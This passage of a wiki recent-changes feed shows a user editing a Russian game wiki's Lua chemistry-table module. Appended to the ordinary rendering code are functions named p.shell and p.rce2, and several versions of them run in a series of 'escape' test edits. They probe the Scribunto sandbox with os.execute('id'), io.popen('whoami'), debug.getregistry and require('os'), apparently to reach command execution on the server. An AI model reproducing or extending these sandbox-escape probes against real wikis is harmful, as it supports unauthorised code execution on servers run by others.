    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28815</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28815"/>
		<updated>2026-06-21T23:50:54Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test escape5&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|escape5}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28814</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28814"/>
		<updated>2026-06-21T23:50:39Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test escape4&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|escape4}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28813</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28813"/>
		<updated>2026-06-21T23:50:32Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test escape3&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|escape3}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28812</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28812"/>
		<updated>2026-06-21T23:50:31Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test escape2&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|escape2}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28811</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28811"/>
		<updated>2026-06-21T23:50:30Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test escape1&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|escape1}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28810</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28810"/>
		<updated>2026-06-21T23:50:29Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: restore + escape tests&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
